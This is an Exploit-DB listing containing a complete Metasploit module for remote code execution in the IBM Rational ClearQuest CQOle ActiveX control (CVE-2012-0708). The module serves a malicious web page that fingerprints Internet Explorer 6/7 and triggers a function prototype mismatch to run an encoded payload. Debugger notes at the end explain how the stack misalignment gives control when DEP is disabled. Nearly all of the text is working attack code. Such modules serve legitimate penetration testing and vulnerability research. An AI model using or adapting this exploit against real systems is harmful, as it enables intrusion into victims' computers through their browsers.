IBM Rational ClearQuest CQOle - Remote Code Execution (Metasploit)

EDB-ID:

19576




Platform:

Windows

Date:

2012-07-05


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "7.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{94773112-72E8-11D0-A42E-00A024DED613}",
		:method     => "RegisterSchemaRepoFromFileByDbSet",
		:rank       => NormalRanking
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "IBM Rational ClearQuest CQOle Remote Code Execution",
			'Description'    => %q{
					This module exploits a function prototype mismatch on the CQOle ActiveX
				control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
				allows reliable remote code execution when DEP isn't enabled.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Andrea Micalizzi aka rgod', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0708' ],
					[ 'BID', '53170' ],
					[ 'OSVDB', '81443'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ],
					[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# cqole.dll 7.1100.0.150
					[ 'Automatic', {} ],
					[ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 19 2012",
			'DefaultTarget'  => 0))
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[1]  #IE 7 on Windows XP
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[1]  #IE 7 on Windows Vista
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
		object_id = rand_text_alpha(rand(8) + 4)
		dbset_value = rand_text_alpha(rand(8) + 4)
		var_payload = rand_text_alpha(rand(8) + 4)

		html = <<-EOS
		<html>
		<body>
		<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
		<script language="JavaScript">
		var #{var_payload} = unescape("#{js_code}")
		#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
		</script>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, '')

		print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end

=begin

* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0            call    eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}

* RegisterSchemaRepoFromFile prototype (it is going to be executed):

.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)

his ret is: retn    4

* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):

.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)

his ret is: retn    8

* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:

0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3              ret
0:000> dd esp
0013e208  001dcff4 7835f5d2 fffffffe 78336a3a

ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled

=end